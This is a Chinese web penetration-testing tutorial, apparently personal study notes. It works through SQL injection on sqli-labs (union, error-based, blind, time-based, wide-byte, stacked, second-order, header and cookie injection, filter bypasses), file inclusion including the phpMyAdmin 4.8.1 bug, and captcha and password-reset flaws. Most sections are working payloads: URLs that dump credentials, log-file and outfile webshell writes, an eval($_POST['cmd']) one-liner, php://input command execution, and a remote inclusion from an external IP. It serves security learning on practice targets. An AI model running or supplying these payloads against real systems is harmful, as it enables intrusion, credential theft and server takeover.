http://127.0.0.1/sql/Less-2/?id=-1 union select 1,username,password from users limit 0,1 --+

4.5 報錯注入

利用前提: 頁面上沒有顯示位,但是需要輸出 SQL 語句執行錯誤資訊。比如 mysql_error()
優點: 不需要顯示位
缺點: 需要輸出 mysql_error( )的報錯資訊
參考連結:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
UpdateXml報錯注入
UpdateXml 函式實際上是去更新了XML文件,但是我們在XML文件路徑的位置裡面寫入了子查詢,我們輸入特殊字元,然後就因為不符合輸入規則然後報錯了,但是報錯的時候他其實已經執行了那個子查詢程式碼
UPDATEXML (XML_document, XPath_string, new_value)
第一個引數:XML_document 是 String 格式,為 XML 文件物件的名稱,文中為 Doc 1
第二個引數:XPath_string (Xpath 格式的字串) ,如果不瞭解 Xpath 語法,可以在網上查詢教程。
第三個引數:new_value,String 格式,替換查詢到的符合條件的資料

1.查詢資料庫版本使用者等資訊
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
2.查詢表
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+
3.查詢列
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x7e),1) --+
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x7e),1) --+
4.查詢資料
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) --+

4.6盲注

布林盲注
http://127.0.0.1/sql/Less-5/?id=1' and 1=1 --+

http://127.0.0.1/sql/Less-5/?id=1' and 1=2 --+

可以看到語句正確返回正常頁面,語句錯誤返回錯誤頁面
盲注一般用到的一些函式:ascii() 、substr() 、length(),exists()、concat()等
1.判斷資料庫型別
我們可以根據資料庫的不同特徵來判斷
mysql->information_schema.tables
access->msysobjects
SQLServer->sysobjects
oracle->select count() from dual
判斷是否是 Mysql資料庫
http://127.0.0.1/sql/Less-5/?id=1' and exists(select
from information_schema.tables) #
判斷是否是 access資料庫
http://127.0.0.1/sql/Less-5/?id=1' and exists(selectfrom msysobjects) #
判斷是否是 Sqlserver資料庫
http://127.0.0.1/sql/Less-5/?id=1' and exists(select
from sysobjects) #
判斷是否是Oracle資料庫
http://127.0.0.1/sql/Less-5/?id=1' and (select count(*) from dual)>0 #

2.判斷資料庫長度
二分法:
http://127.0.0.1/sql/Less-5/?id=1' and length(database())>8 --+ 錯誤
http://127.0.0.1/sql/Less-5/?id=1' and length(database())=8 --+ 正確
3.判斷每個字元
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+
逐漸測試
4.判斷表
http://127.0.0.1/sql/Less-5/?id=1' and exists(select*from users) --+ 判斷是否存在users表
http://127.0.0.1/sql/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 可以知道第一個表長度為6,逐漸猜測
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ 判斷表名

5.判斷列
假如這裡我們已經確定了users表
http://127.0.0.1/sql/Less-5/?id=1' and exists(select username from users) --+ 判斷是否存在username欄位
http://127.0.0.1/sql/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ 判斷欄位數量
http://127.0.0.1/sql/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2 --+ 判斷欄位長度
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ 判斷欄位名
由此可以判斷出id,username,password欄位

6.查詢資料
http://127.0.0.1/sql/Less-5/?id=1' and length((select username from users limit 0,1))>3 --+ 判斷第一個資料長度
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+ 查詢第一個資料

利用前提:頁面上沒有顯示位,也沒有輸出 SQL 語句執行錯誤資訊。正確的 SQL 語句和錯誤的 SQL 語句返回頁面都一樣,但是加入 sleep(5)條件之後,頁面的返回速度明顯慢了 5 秒。
優點:不需要顯示位,不需要出錯資訊。
缺點:速度慢,耗費大量時間
sleep 函式判斷頁面響應時間
if(判斷條件,為true時執行,為false時執行)
mysql> select * from users where id=1 and sleep(5);
Empty set (5.00 sec)
mysql> select * from users where id=1 and if(ascii(substring(database(),1,1))<100,1,sleep(5));
Empty set (5.00 sec)
mysql> select * from users where id=1 and if(ascii(substring(database(),1,1))>100,1,sleep(5));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
正則表示式
參考:https://www.cnblogs.com/lcamry/articles/5717442.html
已知資料庫名為 security,判斷第一個表的表名是否以 a-z 中的字元開頭

^[a-z]  -->  ^u ;

判斷出了第一個表的第一個字元,接著判斷第一個表的第二個字元 ^u[a-z] --> ^us ; 就這樣,一步一步判斷第一個表的表名 ^users$ 。然後 limit 1,1 判斷第二個表
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^user' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select 1 from information_schema.tables where table_schema='security' and table_name regexp '^user$' limit 0,1;
Empty set (0.00 sec)

4.7insert,delete,update注入

這類最好手工,如果用sqlmap等會產生大量資料,如果是delete可能導致正常資料被刪除
insert
1.報錯
mysql> insert into users (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
delete
此函式很危險,還是算了,方法同理
mysql> delete from users where id =-1 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
update
mysql> update users set username="test"+updatexml(1,concat(0x7e,(select user()),0x7e),1)+"" where id=1;
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

4.8 寬位元組注入

寬位元組注入是因為資料庫使用了GBK編碼,不過現在大都使用unicode國際編碼,大多數網站都使用了utf-8的編碼。通常來說,在GBK編碼當中,一個漢字佔用2個位元組。而在UTF-8編碼中,一個漢字佔用3個位元組。在php中,我們可以通過輸入 echo strlen("中") 來測試,當為GBK編碼時,輸入2,而為UTF-8編碼時,輸出3。除了GBK以外,所有的ANSI編碼都是中文都是佔用兩個位元組。
addslashes()
addslashes() 函式返回在預定義字元之前新增反斜槓的字串。
預定義字元是:
單引號(')
雙引號(")
反斜槓(\)
NULL
mysql_real_escape_string() 函式轉義 SQL 語句中使用的字串中的特殊字元。

下列字元受影響:
\x00,\n,\r,\,',",\x1a
如果成功,則該函式返回被轉義的字串。如果失敗,則返回 false。

魔術引號:當開啟時,所有的單引號’ 、雙引號" 、反斜槓\ 和 NULL 字元都會被自動加上一個反斜線來進行轉義,這個和 addslashes() 函式的作用完全相同。所以,如果魔術引號打開了,就不要使用 addslashes() 函數了。一共有三個魔術引號指令。

magic_quotes_gpc 影響到 HTTP 請求資料(GET,POST 和 COOKIE)。不能在執行時改變。在 PHP 中預設值為 on。 參見 get_magic_quotes_gpc()。如果 magic_quotes_gpc 關閉時返回 0,開啟時返回 1。在 PHP 5.4.0 起將始終返回 0,因為這個魔術引號功能已經從 PHP 中移除了。
magic_quotes_runtime 如果開啟的話,大部份從外部來源取得資料並返回的函式,包括從資料庫和文字檔案,所返回的資料都會被反斜線轉義。該選項可在執行的時改變,在 PHP 中的預設值為 off。 參見 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase (魔術引號開關)如果開啟的話,將會使用單引號對單引號進行轉義而非反斜線。此選項會完全覆蓋 magic_quotes_gpc。如果同時開啟兩個選項的話,單引號將會被轉義成 ''。而雙引號、反斜線 和 NULL 字元將不會進行轉義。

可以在php.ini中檢視

1.沒使用寬位元組
%27 -> %5C%27
2. 使用用寬位元組
%df%27 -> %df%5c%27 -> 運'
在我們輸入單引號時 addslashes() 或者get_magic_quotes_gpc 給我們的單引號加入了轉義字元\ 就變成了'
我們輸入經過轉換後由於編碼的不同把%df%5c 轉換為了一個漢字。
這裡我們可以看到33關

http://127.0.0.1/sql/Less-33/?id=-1�' union select 1,user(),3 --+

修復方案
將 character_set_client 設定為binary(二進位制)。需要在所有的sql語句前指定連線的形式是binary二進位制
當我們的MySQL收到客戶端的請求資料後,會認為他的編碼是character_set_client所對應的編碼,也就是二進位制。然後再將它轉換成character_set_connection所對應的編碼。然後進入具體表和欄位後,再轉換成欄位對應的編碼。當查詢結果產生後,會從表和欄位的編碼轉換成character_set_results所對應的編碼,返回給客戶端。所以,當我們將character_set_client編碼設定成了binary,就不存在寬位元組注入的問題了,所有的資料都是以二進位制的形式傳遞。
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary");

4.9 讀寫檔案

MySQL 中 在在mysql 5.6.34版本以後 secure_file_priv的值預設為NULL ,而 secure_file_priv為null 那麼我們就不能匯出檔案,所以前提是無
windows下:修改my.ini 在[mysqld]內加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]內加入secure_file_priv =
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)

讀檔案:load_file
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,load_file("D:\1.txt") --+

這裡也支援hex編碼
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,load_file(0x443A5C5C312E747874) --+

寫檔案
寫檔案我們一般用到 dumpfile與outfile 她們其實是有區別
outfile 會在行末寫入新行,而且會轉義換行符
dumpfile 能匯出一個完整的檔案,不會有任何轉義 所以我們udf提取一般用的dumpfile
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,"" into outfile "G:\phpstudy\PHPTutorial\WWW\phpinfo.php" --+


這裡就還可以通過日誌拿shell
mysql> set global general_log=on;
Query OK, 0 rows affected (0.19 sec)

mysql> set global general_log_file='G:\phpstudy\PHPTutorial\WWW\style.php';
Query OK, 0 rows affected (0.04 sec)

mysql> select '';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''])?>'' at line 1
mysql>
成功連線

4.10 堆疊注入

mysql是支援堆疊查詢的用; 分割語句,但是php原生的連線方式不支援,但是使用 PDO,mysqli_multi_query()等等是支援多語句的,在我們使用堆疊查詢的時候基本是沒有回顯的,而且其實很難遇到這種環境。
在SQL中,分號;是用來表示一條sql語句的結束。試想一下我們在 ; 結束後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別呢?區別就在於union 或者union all執行的語句型別是有限的,只可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。使用者輸入:root';DROP database user;伺服器端生成的sql語句為:Select * from user where name='root';DROP database user;當執行查詢後,第一條顯示查詢資訊,第二條則將整個user資料庫刪除

這裡就可以組合前面日誌寫shell,這裡就利用到38關
http://127.0.0.1/sql/Less-38/?id=1';set global general_log=on;set global general_log_file='G:\phpstudy\PHPTutorial\WWW\style2.php'; --+

http://127.0.0.1/sql/Less-38/?id=1';select '' --+

4.11 二次注入

二次注入需要具備的兩個條件:
(1)使用者向資料庫插入惡意語句(即使後端程式碼對語句進行了轉義,如mysql_escape_string、mysql_real_escape_string轉義)
(2)資料庫對自己儲存的資料非常放心,直接取出惡意資料給使用者
在沒有被單引號包裹的sql語句下,我們可以用16進位制編碼他,這樣就不會帶有單引號等。


這裡我們測試24關,我們以知本地存在admin賬戶密碼也為admin
這裡註冊一個admin'# 123456的賬戶


登入後修改密碼為hacked


再來檢視密碼

可以看到admin使用者密碼改為了hacked,而admin'#沒有變
來到修改密碼的php檔案

可以看到其實我們語句變成了
where username = 'admin'#'了,admin'#閉合了前面的',所以帶入了就為admin賬戶
二次注入在沒有原始碼的情況比較難發現,通常見於註冊

4.12 user-agent注入

來到18關,當我們登入成功就會顯示ua頭
Your IP ADDRESS is: 127.0.0.1
INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', '127.0.0.1', 'admin1')
我們修改ua頭為
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0' and updatexml(0x7e,(select user()),0x7e)and '1'='1

4.13 Cookie注入

來到20關,可以看到沒有做任何過濾


抓包修改uname值
修改cookie:
Cookie: uname=admin1' and updatexml(0x7e,(select user()),0x7e)#; think_template=default; PHPSESSID=iodiqg814d1ct6lf1daidt9n86

4.14 繞過注入過濾

1.過濾空格
$id = preg_replace('/[\s]/',"",$id); ///過濾 空格 %20
/**/繞過 --tamper=space2comment.py繞過
當MySQL資料庫版本大於等於5.55.55時,可以使用內聯註釋(/!/)
http://127.0.0.1/sqlblack.php?id=-1/!union//!select/1,@@version,3
Sqlmap中關於內聯註釋的指令碼:versionedmorekeywords.py 和 halfversionedmorekeywords.py
2.過濾關鍵字
function blacklist($id)
{
$id = preg_replace('/[\s]/',"",$id); //過濾 空格 %20
$id = preg_replace('/or/',"",$id); //過濾 or
$id = preg_replace('/and/',"",$id); //過濾 and
$id = preg_replace('/union/',"",$id); //過濾 union
$id = preg_replace('/by/',"",$id); //過濾 by
$id = preg_replace('/select/',"",$id); //過濾 select
$id = preg_replace('/from/',"",$id); //過濾 from
$id = preg_replace('/floor/',"",$id); //過濾 floor
$id = preg_replace('/concat/',"",$id); //過濾 concat
$id = preg_replace('/count/',"",$id); //過濾 count
$id = preg_replace('/rand/',"",$id); //過濾 rand
$id = preg_replace('/group by/',"",$id); //過濾 group by
$id = preg_replace('/substr/',"",$id); //過濾 substr
$id = preg_replace('/ascii/',"",$id); //過濾 ascii
$id = preg_replace('/mid/',"",$id); //過濾 mid
$id = preg_replace('/like/',"",$id); //過濾 like
$id = preg_replace('/sleep/',"",$id); //過濾 sleep
$id = preg_replace('/when/',"",$id); //過濾 when
$id = preg_replace('/order/',"",$id); //過濾 order
return $id;
}

這裡雖然過濾了關鍵字但是對大小寫有區分
http://127.0.0.1/sqlblack.php?id=-1/!UNIOn//!SEleCt/1,@@version,3
sqlmap 中也有專門的隨機大小寫的繞過指令碼 randomcase.py ,該指令碼針對所有型別資料庫都可用。

3.不區分大小寫過濾了SQL關鍵詞
$id = preg_replace('/[\s]/',"",$id); //過濾 空格 %20
$id = preg_replace('/or/i',"",$id); //過濾 or
$id = preg_replace('/and/i',"",$id); //過濾 and
$id = preg_replace('/union/i',"",$id); //過濾 union
$id = preg_replace('/by/i',"",$id); //過濾 by
$id = preg_replace('/select/i',"",$id); //過濾 select
$id = preg_replace('/from/i',"",$id); //過濾 from
$id = preg_replace('/floor/i',"",$id); //過濾 floor
$id = preg_replace('/count/i',"",$id); //過濾 count
$id = preg_replace('/rand/i',"",$id); //過濾 rand
$id = preg_replace('/group by/i',"",$id); //過濾 group by
$id = preg_replace('/substr/i',"",$id); //過濾 substr
$id = preg_replace('/ascii/i',"",$id); //過濾 ascii
$id = preg_replace('/mid/i',"",$id); //過濾 mid
$id = preg_replace('/like/i',"",$id); //過濾 like
$id = preg_replace('/sleep/i',"",$id); //過濾 sleep
$id = preg_replace('/when/i',"",$id); //過濾 when
$id = preg_replace('/order/i',"",$id); //過濾 order
return $id;
雙寫繞過
http://127.0.0.1/sqlblack.php?id=-1/!UNunionIOn//!SEselectleCt/1,@@version,3
可以看到沒有過濾updatexml
http://127.0.0.1/sqlblack.php?id=1//%26%26//updatexml(1,concat(0x7e,(select user()),0x7e),1)

4.過濾了引號
可以使用16進位制編碼,但是中文不行
mysql> select * from users where username='test';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username=0x74657374;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
也可以使用ascii編碼
mysql> select * from users where username=concat(char(116),char(101),char(115),char(116));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
過濾了 or and xor not
and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替
過濾了=
使用 like、rlike、regexp
like:就是等於的意思
rlike:就是裡面含有這個
regexp:和rlike一樣,裡面含有即可
如果是判斷是否等於,可以轉換為是否大於小於,於是可以用 > < 來繞

4.15 程式碼審計

這裡我們看到熊海cms
/admin/files/login.php

user=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) -- +&password=admin11&login=yes

/files/content.php
可以看到前面雖然過濾了引號但是後面就沒有過濾了

http://127.0.0.1/cms/xhcms/?r=content&cid=16 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

0x05 任意檔案包含

5.1 漏洞概述

攻擊者利用包含特性,加上應用本身對檔案(包含)控制不嚴格,最終造成攻擊者進行任意檔案包含(包含得檔案會被當成指令碼檔案來解析)
檔案包含分為本地和遠端檔案包含(需要allow_url_include=On),本地檔案包含LFI,遠端檔案包含RFI
為什麼需要包含檔案?比如後臺頁面如果不嚴重是否登入才能訪問就會出現未授權,越權訪問,所以都需要驗證是否登入,但是是否是每個頁面都需要寫入驗證程式碼?這樣程式碼量就會很大,所以只需要寫一個然後包含就行了。檔案包含了不管任何字尾都會當成php程式碼執行
檔案包含本不屬於漏洞,但是任意檔案包含,我們可控就是屬於漏洞
本地包含:保本伺服器上的資源
遠端包含:通過http協議包含其他地方的資源
include:使用include引用外部檔案時,只有程式碼執行到include程式碼段時,呼叫的外部檔案才會被引用並且讀取,當引用的檔案發生錯誤時,系統只會給出個警告,而整個php程式碼會繼續執行
require:在php檔案被執行之前,就先去把被包含檔案內容提取出來然後整合成新的php一齊執行
include_once|require_once:加不加都差不多,如果這個檔案被包含過一次了,就不會重複包含了
這裡寫一個包含程式碼

include.php
<?php
$filename = $_GET['filename'];
include($filename);
?>

1.txt

<?php eval($_POST['cmd']);?>

直接當php程式碼執行了


有限制本地包含

<?php
$filename = $_GET['filename'];
include($filename.".html")
?>

長度截斷:條件:windows,點號需要長於256;linux 長於4096

遠端檔案包含
allow_url_fopen = On(是否允許開啟遠端檔案)
allow_url_include = On(是否允許include/require遠端檔案)

無限制遠端包含
http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png

有限制遠端包含

<?php include($_GET['filename'] . ".html"); ?>
filename=http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png?
filename=http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%23
filename=http://127.0.0.1/baohan/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%20

偽協議包含

https://www.cnblogs.com/endust/p/11804767.html
php://filter php://input

Payload:

?filename=php://filter/convert.base64-encode/resource=index.txt
?filename=php://input post

http://127.0.0.1/baohan/include.php?filename=php://input
post:

<?php system('whoami');?>

http://127.0.0.1/baohan/include.php?filename=php://input
post:

<?php file_put_contents('shell.php','<?php phpinfo();?>');?>

5.2 phpmyadmin4.8.1

這裡先來看下cd的一些規則

靶場環境:
phpmyadmin 4.8.1(web端的資料庫管理軟體)

1.target不能為空
2.判斷target是否為字串
3.target不能包含index
來到checkPageValidity函式
這裡我們就來看返回return的條件

判斷了是否存在白名單,不存在就賦值,然後判斷了是否存在target和是否為字串,不是就返回false
,然後判斷target是否在白名單裡面我們肯定是不去包含白名單檔案的所以繼續往下看

這裡可以看到擷取我們的檔名,然後返回true,所以db_sql.php?/../1.txt就可以繞過但是我們知道include裡面是不能存在?的

然後繼續往下看

可以看到進行了一次編碼,問題就在這裡,本身瀏覽器會自動解碼一次然後這裡就是二次解碼,所以我們可以把?改為%253f=>%3f=>?就傳遞給了這裡$_page就為$_page=db_sql.php?/../1.txt,然後再新增?
$_page=db_sql.php?/../1.txt?但是還是之驅除db_sql.php所以返回true,這樣幾個條件就都滿足了,這裡payload就為?target=$_page=db_sql.php%253f/../1.txt這裡包含就為
include $_REQUEST['target'];等價於include(db_sql.php%253f/../1.txt);在這裡就只會解碼一次就不會解析為?了,所以繞過

但是有些時候我們不能上傳檔案怎麼辦,其實我們看到這些庫,其實就在本地的data目錄下

比如admin庫下存在users表

然後看到目錄下面,也存在一些檔案,在.frm檔案裡面存在資料欄位名


於是我們可以建立一個test資料庫,test表,寫入一句話

我們在本地的test.frm檔案內容就存在我們的一句話

我們再來連線它
http://127.0.0.1/cms/phpmyadmin4.8.1/index.php?target=db_sql.php%3f/../../../../../../../phpstudy/PHPTutorial/MySQL/data/test/test.frm&cmd=phpinfo();

但是我們如果取連線是不行的,因為前提是登入,所以就可以利用file_put_contents
http://127.0.0.1/cms/phpmyadmin4.8.1/index.php?target=db_sql.php%3f/../../../../../../../phpstudy/PHPTutorial/MySQL/data/test/test.frm&cmd=file_put_contents('666.php','');
這樣就可以成功連線了

5.3 熊海cms

這裡看到index.php

可以看到明視訊記憶體在檔案包含

0x06 邏輯漏洞

6.1 驗證碼繞過、密碼找回,註冊漏洞

驗證碼的作用:
網站上的驗證碼的作用是保護網站安全,一般網站都要通過驗證碼來防止機器大規模註冊,機器暴力破解資料密碼等危害。

手機的簡訊和語音驗證碼是要確定這個手機是使用者自己的。

其實最後都是為了驗證,這個操作是個人在做而不是機器,證明我是我的過程
比如說我們有個註冊的地方沒有驗證碼可以使用bp無限發包
https://www.freebuf.com/articles/web/195837.html

驗證碼繞過:
1.指令碼(機器學習)
2.邏輯

驗證碼繞過的常見姿勢:驗證碼可重用,驗證碼在客戶端驗證,驗證碼可以識別,空驗證碼繞過,是否校驗客戶端可控,錯誤超過一定次數才開啟驗證,驗證碼數量有限,驗證碼可以推測
驗證碼可重用
在很多網站,存在圖形驗證碼功能失效的問題,也就是說當第一次輸入正確的圖形驗證碼提交後,我不重新整理該頁面,之後該驗證碼還有用。

那麼,我們如何判斷該頁面的圖形驗證碼功能是否失效呢?

我們先輸入正確的圖形驗證碼和資訊後,點選提交。用burpsuite抓包,檢視返回的資料。然後我們重放,檢視伺服器返回的資料。如果第二次重放,伺服器返回的是驗證碼錯誤的話,那麼說明就不存在繞過圖形驗證碼的可能性了。如果返回的資料和第一次登陸成功時相同的資料,那麼該驗證碼就存在繞過了。
驗證碼在客戶端驗證
前端驗證碼,並沒有後端驗證,直接抓包然後跑資料包,就可以看到
前端驗證=沒有驗證
驗證碼設定了但是沒有校驗,亂輸也可以
驗證碼空值繞過,比如我們抓包內容為&username=123&password=123&s=xxx,這裡s就是驗證碼的值罵我們直接刪除就可以繞過
$username=$_REQUEST['username'];
$pass=$_REQUEST['pass'];
if($_REQUEST['yzm']){判斷是否正確}else{}
這裡其實就一個空值繞過的典範
驗證碼可以控制,比如他的驗證碼是包含在url裡面的,是url傳參
https://www.uedbox.com/post/29913/

驗證碼有規則,比如說是當前時間

萬能驗證碼,驗證碼無論是什麼輸入000000就可以過

驗證碼有時候會在cookie裡面

基於session的驗證碼,你同一個session登入多次才會出現。這裡修改session達到不會出現驗證碼
https://www.uedbox.com/post/22043/
基於ip https://www.uedbox.com/post/28442/
基於使用者,爆破使用者名稱

簡訊轟炸
郵箱加空格繞過,郵箱大小寫繞過,手機號+86繞過,手機號加空格繞過,bp重放繞過,刪除cookie繞過,修改cookie欄位繞過,不斷在手機號後面新增空格繞過,加\n繞過

密碼找回
一般有兩種,第一種就往你的郵箱或者手機發送驗證碼,通過這樣的方法來判斷是否是本人
第二種,通過傳送重置連結

驗證碼返回給客戶端,業務流程缺陷,驗證碼無時間間隔限制,驗證碼可爆破,驗證碼在客戶端生成

1.驗證碼前端返回
https://www.uedbox.com/post/13890/
2.驗證碼無限次數限制可以爆破
https://www.uedbox.com/post/15675/
3.驗證碼可控
https://www.uedbox.com/post/26992/
4.直接修改密碼頁面
https://www.uedbox.com/post/35739/
5.越權,自己驗證碼修改他人密碼
https://www.uedbox.com/post/24098/
https://www.uedbox.com/post/42136/
這裡用到了pikachu
1.基於表單的暴力破解
檢視長度


2.驗證碼繞過(on server)
這裡雖然有驗證碼但是驗證碼可以不會失效

3.驗證碼繞過(on client)
這個是通過js驗證,抓包直接刪除

放包